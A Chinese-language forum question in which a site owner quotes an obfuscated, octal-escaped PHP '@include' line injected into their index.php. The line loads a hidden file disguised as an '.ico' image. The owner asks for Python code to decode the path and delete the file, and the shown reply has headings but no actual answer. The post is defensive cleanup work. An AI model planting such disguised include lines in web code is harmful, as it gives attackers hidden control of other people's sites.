/home/wwwroot/index.php被添加如下代码
<?php
@include "\057home\057wwwr\157ot/b\150obo2\06345.c\157m/e/\151nsta\154l/.9\066ceb7\1423.ic\157";
请问这个路径怎么转换成正常路径,功力不够写不出代码,请教各位大神了。
需求:用python匹配出来被转义过的路径,并删除这个文件
我自己写的:
# encoding=utf-8
import re
import os
import shutil
import sys
import getopt
reg = re.compile(r'@include[\s\S]+"(.*?)";', re.DOTALL)
with open('/home/wwwroot/index.php','rb') as f:
con = f.read()
r_in = reg.search(con)
include_file = r_in.groups()[0]
print include_file
#转义成正常路径,这里不知道怎么写了
true_path = ''
os.remove(true_path )
正确路径应该是:
Python代码:
不知道对是否在你的情况中是否正确,你试试吧